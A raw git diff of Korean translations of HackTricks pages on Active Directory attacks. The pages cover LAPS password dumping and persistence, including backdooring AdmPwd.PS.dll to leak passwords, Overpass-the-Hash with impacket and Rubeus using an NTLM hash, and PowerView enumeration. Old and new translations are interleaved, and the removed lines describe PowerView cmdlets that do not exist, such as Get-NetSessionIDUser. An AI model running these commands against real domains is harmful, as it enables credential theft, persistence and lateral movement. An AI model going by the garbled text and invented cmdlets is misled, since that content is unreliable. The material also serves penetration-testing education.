[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)은 여러 기능을 통해 LAPS(로컬 관리자 비밀번호 솔루션)의 열거를 용이하게 합니다.\
|
||||
하나는 **LAPS가 활성화된 모든 컴퓨터의 `ExtendedRights`를 파싱**하는 것입니다. 이는 종종 보호된 그룹의 사용자인 **LAPS 비밀번호를 읽을 수 있는 그룹**을 특정합니다.\
|
||||
도메인에 컴퓨터를 가입시킨 **계정**은 해당 호스트에 대해 `All Extended Rights`를 받으며, 이 권한은 **계정**이 **비밀번호를 읽을 수 있는 능력**을 제공합니다. 열거를 통해 호스트에서 LAPS 비밀번호를 읽을 수 있는 사용자 계정을 확인할 수 있습니다. 이를 통해 우리는 LAPS 비밀번호를 읽을 수 있는 특정 AD 사용자를 대상으로 할 수 있습니다.
|
||||
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)은 여러 기능을 통해 LAPS를 열거하는 것을 용이하게 합니다.\
|
||||
하나는 **LAPS를 활성화한 모든 컴퓨터의 `ExtendedRights`를 구문 분석**하는 것입니다. 이를 통해 종종 보호 그룹에 속한 사용자인 **LAPS 암호를 읽을 수 있는 그룹**이 특별히 **위임**된 것을 보여줍니다.\
|
||||
도메인에 컴퓨터를 가입시킨 **계정**은 해당 호스트에 대해 `All Extended Rights`를 받으며, 이 권한은 **암호를 읽을 수 있는 능력**을 부여합니다. 열거를 통해 호스트에서 LAPS 암호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이를 통해 **특정 AD 사용자를 대상**으로 할 수 있습니다.
|
||||
```powershell
|
||||
# Get groups that can read passwords
|
||||
Find-LAPSDelegatedGroups
|
||||
|
@ -92,18 +97,16 @@ ComputerName Password Expiration
|
|||
------------ -------- ----------
|
||||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **Crackmapexec을 사용하여 LAPS 비밀번호 덤프하기**
|
||||
파워쉘에 액세스할 수 없는 경우, LDAP를 통해 원격으로 이 권한을 악용할 수 있습니다. 이를 위해 다음을 사용합니다.
|
||||
## **Crackmapexec를 사용하여 LAPS 암호 덤프**
|
||||
파워쉘에 액세스할 수 없는 경우 LDAP를 통해 원격으로 이 권한을 남용할 수 있습니다.
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
이는 사용자가 읽을 수 있는 모든 암호를 덤프하여 다른 사용자로부터 더 나은 기반을 확보할 수 있게 해줍니다.
|
||||
|
||||
## **LAPS 지속성**
|
||||
## **LAPS Persistence**
|
||||
|
||||
### **만료 날짜**
|
||||
|
||||
관리자 권한을 획득하면 암호를 얻고, 미래의 날짜로 만료 날짜를 설정함으로써 기계가 암호를 업데이트하지 못하도록 방지할 수 있습니다.
|
||||
한 번 어드민이 되면 **암호를 획득**하고 **비밀번호 갱신을 방지**하기 위해 **만료 날짜를 미래로 설정**함으로써 사용자가 읽을 수 있는 모든 암호를 덤프할 수 있습니다.
|
||||
```powershell
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
@ -113,26 +116,30 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
만약 **관리자**가 **`Reset-AdmPwdPassword`** cmdlet을 사용하거나 LAPS GPO에서 **정책에 필요한 것보다 긴 암호 만료 시간을 허용하지 않음**이 활성화되어 있다면 비밀번호는 여전히 재설정됩니다.
|
||||
만약 **관리자**가 **`Reset-AdmPwdPassword`** cmdlet을 사용하거나 LAPS GPO에서 **정책에 필요한 것보다 긴 비밀번호 만료 시간을 허용하지 않음**이 활성화된 경우에도 비밀번호는 재설정됩니다.
|
||||
{% endhint %}
|
||||
|
||||
### 백도어
|
||||
### 배킹도어
|
||||
|
||||
LAPS의 원본 소스 코드는 [여기](https://github.com/GreyCorbel/admpwd)에서 찾을 수 있으므로 코드에 백도어를 넣을 수 있습니다(예: `Main/AdmPwd.PS/Main.cs`의 `Get-AdmPwdPassword` 메서드 내부).
|
||||
LAPS의 원본 소스 코드는 [여기](https://github.com/GreyCorbel/admpwd)에서 찾을 수 있으므로 코드에 배킹도어를 넣는 것이 가능합니다 (`Main/AdmPwd.PS/Main.cs`의 `Get-AdmPwdPassword` 메서드 내부에 예를 들어) 새로운 비밀번호를 어떤 식으로든 **유출하거나 저장**할 수 있습니다.
|
||||
|
||||
그런 다음, 새로운 `AdmPwd.PS.dll`을 컴파일하고 `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`에 업로드하십시오(수정 시간도 변경).
|
||||
그런 다음, 새로운 `AdmPwd.PS.dll`을 컴파일하고 `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`에 업로드하고 수정 시간을 변경하면 됩니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) 디스코드 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,41 +1,45 @@
|
|||
# Over Pass the Hash/Pass the Key
|
||||
# 해시/키 전달하기
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 홍보**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Overpass The Hash/Pass The Key (PTK)** 공격은 전통적인 NTLM 프로토콜이 제한되고 Kerberos 인증이 우선하는 환경에서 사용됩니다. 이 공격은 사용자의 NTLM 해시 또는 AES 키를 활용하여 Kerberos 티켓을 요청함으로써 네트워크 내의 리소스에 무단으로 액세스할 수 있게 합니다.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
이 공격을 실행하기 위해 초기 단계는 대상 사용자 계정의 NTLM 해시 또는 비밀번호를 획득하는 것입니다. 이 정보를 확보한 후, 해당 계정에 대한 Ticket Granting Ticket (TGT)를 얻을 수 있어 공격자가 사용자가 권한을 가진 서비스나 기기에 액세스할 수 있게 됩니다.
|
||||
## 해시/키 전달하기 (PTK)
|
||||
|
||||
다음 명령을 사용하여 이 과정을 시작할 수 있습니다:
|
||||
**해시/키 전달하기 (PTK)** 공격은 전통적인 NTLM 프로토콜이 제한되어 있고 Kerberos 인증이 우선하는 환경을 대상으로 설계되었습니다. 이 공격은 사용자의 NTLM 해시 또는 AES 키를 활용하여 Kerberos 티켓을 요청하여 네트워크 내의 리소스에 무단 액세스할 수 있게 합니다.
|
||||
|
||||
이 공격을 실행하기 위해 초기 단계는 대상 사용자 계정의 NTLM 해시 또는 비밀번호를 획득하는 것입니다. 이 정보를 확보한 후 계정에 대한 Ticket Granting Ticket (TGT)를 얻어 공격자가 사용자가 권한을 가진 서비스나 기기에 액세스할 수 있게 합니다.
|
||||
|
||||
이 프로세스는 다음 명령으로 시작할 수 있습니다:
|
||||
```bash
|
||||
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
|
||||
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
|
||||
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
||||
```
|
||||
AES256를 필요로 하는 시나리오의 경우, `-aesKey [AES 키]` 옵션을 사용할 수 있습니다. 또한 획득한 티켓은 smbexec.py 또는 wmiexec.py와 같은 다양한 도구와 함께 사용될 수 있어 공격의 범위를 확대할 수 있습니다.
|
||||
AES256이 필요한 시나리오의 경우, `-aesKey [AES key]` 옵션을 사용할 수 있습니다. 또한 획득한 티켓은 smbexec.py 또는 wmiexec.py와 같은 다양한 도구와 함께 사용될 수 있어 공격 범위를 확대할 수 있습니다.
|
||||
|
||||
_PyAsn1Error_ 또는 _KDC cannot find the name_과 같은 문제는 일반적으로 Impacket 라이브러리를 업데이트하거나 IP 주소 대신 호스트 이름을 사용하여 Kerberos KDC와의 호환성을 보장함으로써 해결됩니다.
|
||||
|
||||
Rubeus.exe를 사용한 대체 명령어 시퀀스는 이 기술의 다른 측면을 보여줍니다:
|
||||
Rubeus.exe를 사용한 대체 명령 시퀀스는 이 기술의 다른 측면을 보여줍니다:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
이 방법은 **Pass the Key** 접근 방식을 반영하며, 인증 목적으로 티켓을 직접 사용하고 제어하는 데 초점을 맞춥니다. TGT 요청의 시작은 기본적으로 RC4-HMAC 사용을 나타내는 이벤트 `4768: Kerberos 인증 티켓 (TGT)이 요청되었습니다`를 트리거합니다. 그러나 현대의 Windows 시스템은 AES256을 선호합니다.
|
||||
이 방법은 **Pass the Key** 방식을 반영하며, 인증 목적으로 티켓을 직접 사용하고 장악하는 데 초점을 맞춥니다. TGT 요청의 시작은 기본적으로 RC4-HMAC 사용을 나타내는 `4768: A Kerberos authentication ticket (TGT) was requested` 이벤트를 트리거합니다. 그러나 현대의 Windows 시스템은 AES256을 선호합니다.
|
||||
|
||||
운영 보안을 준수하고 AES256을 사용하기 위해 다음 명령을 적용할 수 있습니다:
|
||||
운영 보안을 준수하고 AES256을 사용하려면 다음 명령을 적용할 수 있습니다:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
|
@ -43,14 +47,18 @@ Rubeus.exe를 사용한 대체 명령어 시퀀스는 이 기술의 다른 측
|
|||
|
||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되기까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
* **사이버 보안 회사에서 일하시나요? 귀하의 회사가 HackTricks에서 광고되길 원하시나요? 또는 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요**.
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하여 해킹 트릭을 공유하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 PR을 제출하여 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 참여하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
PowerView의 가장 최신 버전은 항상 PowerSploit의 dev 브랜치에 있습니다: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView)는 [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)의 .NET 포트입니다.
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView)은 [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)의 .NET 포트입니다.
|
||||
|
||||
### 빠른 열거
|
||||
```powershell
|
||||
|
@ -48,48 +53,6 @@ Invoke-UserHunter -CheckAccess
|
|||
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
|
||||
```
|
||||
### 도메인 정보
|
||||
|
||||
```powershell
|
||||
Get-Domain
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인에 대한 정보를 제공합니다. 이 명령은 현재 사용자가 속한 도메인의 이름, SID, 포리스트 이름, 포리스트 SID 등을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-DomainController
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 도메인 컨트롤러에 대한 정보를 제공합니다. 이 명령은 도메인 컨트롤러의 이름, IP 주소, 운영 체제 버전 등을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-DomainPolicy
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 그룹 정책에 대한 정보를 제공합니다. 이 명령은 그룹 정책의 이름, GPO ID, 적용 범위 등을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인과 신뢰 관계에 있는 도메인에 대한 정보를 제공합니다. 이 명령은 신뢰 관계 도메인의 이름, SID, 신뢰 관계 유형 등을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-DomainUser
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 사용자에 대한 정보를 제공합니다. 이 명령은 사용자의 이름, SID, 계정 상태 등을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-DomainGroup
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 그룹에 대한 정보를 제공합니다. 이 명령은 그룹의 이름, SID, 그룹 유형 등을 표시합니다.
|
||||
|
||||
```powershell
|
||||
Get-DomainComputer
|
||||
```
|
||||
|
||||
이 명령은 현재 도메인의 컴퓨터에 대한 정보를 제공합니다. 이 명령은 컴퓨터의 이름, SID, 운영 체제 버전 등을 표시합니다.
|
||||
```powershell
|
||||
# Domain Info
|
||||
Get-Domain #Get info about the current domain
|
||||
|
@ -113,42 +76,6 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
|
|||
Get-ForestDomain
|
||||
```
|
||||
### 사용자, 그룹, 컴퓨터 및 OU
|
||||
|
||||
PowerView는 Windows 환경에서 사용자, 그룹, 컴퓨터 및 OU(조직 단위)와 관련된 정보를 쉽게 수집할 수 있는 강력한 도구입니다. 이 정보를 수집하면 네트워크 환경을 분석하고 보안 취약점을 식별하는 데 도움이 됩니다.
|
||||
|
||||
#### 사용자 정보 수집
|
||||
|
||||
PowerView를 사용하여 도메인 내의 모든 사용자 계정을 가져올 수 있습니다. 다음 명령을 사용하면 됩니다.
|
||||
|
||||
```powershell
|
||||
Get-NetUser
|
||||
```
|
||||
|
||||
#### 그룹 정보 수집
|
||||
|
||||
PowerView를 사용하여 도메인 내의 모든 그룹을 가져올 수 있습니다. 다음 명령을 사용하면 됩니다.
|
||||
|
||||
```powershell
|
||||
Get-NetGroup
|
||||
```
|
||||
|
||||
#### 컴퓨터 정보 수집
|
||||
|
||||
PowerView를 사용하여 도메인 내의 모든 컴퓨터를 가져올 수 있습니다. 다음 명령을 사용하면 됩니다.
|
||||
|
||||
```powershell
|
||||
Get-NetComputer
|
||||
```
|
||||
|
||||
#### OU 정보 수집
|
||||
|
||||
PowerView를 사용하여 도메인 내의 모든 OU를 가져올 수 있습니다. 다음 명령을 사용하면 됩니다.
|
||||
|
||||
```powershell
|
||||
Get-NetOU
|
||||
```
|
||||
|
||||
PowerView를 사용하면 이러한 정보를 쉽게 수집할 수 있으며, 이를 통해 네트워크 환경을 분석하고 보안 취약점을 식별할 수 있습니다.
|
||||
```powershell
|
||||
# Users
|
||||
## Get usernames and their groups
|
||||
|
@ -215,80 +142,6 @@ Get-NetOU #Get Organization Units
|
|||
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
|
||||
```
|
||||
### 로그온 및 세션
|
||||
|
||||
PowerView는 로그온 및 세션 관련 정보를 수집하고 조작하는 데 사용할 수 있는 다양한 기능을 제공합니다.
|
||||
|
||||
#### Get-NetLoggedon
|
||||
|
||||
`Get-NetLoggedon`은 현재 도메인 컨트롤러에 로그온한 사용자의 목록을 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 로그온 시간 및 로그온 유형과 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetLoggedon
|
||||
```
|
||||
|
||||
#### Get-NetSession
|
||||
|
||||
`Get-NetSession`은 현재 도메인 컨트롤러에서 활성화된 세션의 목록을 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSession
|
||||
```
|
||||
|
||||
#### Get-NetSessionComputer
|
||||
|
||||
`Get-NetSessionComputer`은 특정 컴퓨터에서 활성화된 세션의 목록을 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionComputer -ComputerName <ComputerName>
|
||||
```
|
||||
|
||||
#### Get-NetSessionUser
|
||||
|
||||
`Get-NetSessionUser`는 특정 사용자가 로그온한 모든 컴퓨터에서 활성화된 세션의 목록을 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionUser -UserName <UserName>
|
||||
```
|
||||
|
||||
#### Get-NetSessionDomain
|
||||
|
||||
`Get-NetSessionDomain`은 특정 도메인에서 활성화된 세션의 목록을 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionDomain -Domain <DomainName>
|
||||
```
|
||||
|
||||
#### Get-NetSessionGroup
|
||||
|
||||
`Get-NetSessionGroup`은 특정 그룹에 속한 사용자가 로그온한 모든 컴퓨터에서 활성화된 세션의 목록을 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionGroup -GroupName <GroupName>
|
||||
```
|
||||
|
||||
#### Get-NetSessionID
|
||||
|
||||
`Get-NetSessionID`는 특정 세션 ID를 가진 세션의 정보를 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionID -SessionID <SessionID>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDUser
|
||||
|
||||
`Get-NetSessionIDUser`는 특정 사용자가 로그온한 모든 컴퓨터에서 특정 세션 ID를 가진 세션의 정보를 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDUser -SessionID <SessionID> -UserName <UserName>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDComputer
|
||||
|
||||
`Get-NetSessionIDComputer`는 특정 컴퓨터에서 특정 세션 ID를 가진 세션의 정보를 가져옵니다. 이 명령은 사용자 이름, 컴퓨터 이름, 세션 ID, 세션 상태 및 세션 종류와 같은 정보를 제공합니다.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDComputer -SessionID <SessionID> -ComputerName <ComputerName>
|
||||
```
|
||||
```powershell
|
||||
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
|
||||
Get-NetSession -ComputerName <servername> #Get active sessions on the host
|
||||
|
@ -298,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
|||
```
|
||||
### 그룹 정책 개체 - GPOs
|
||||
|
||||
만약 공격자가 GPO에 대한 **높은 권한**을 가지고 있다면, 그는 **사용자에게 권한을 추가**하거나, 호스트에 **로컬 관리자 사용자를 추가**하거나, 즉각적으로 **작업을 수행하기 위해 예약된 작업을 생성**함으로써 이를 악용하여 **권한 상승**을 할 수 있을 것입니다.\
|
||||
[**자세한 정보 및 악용 방법은 이 링크를 따르세요**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
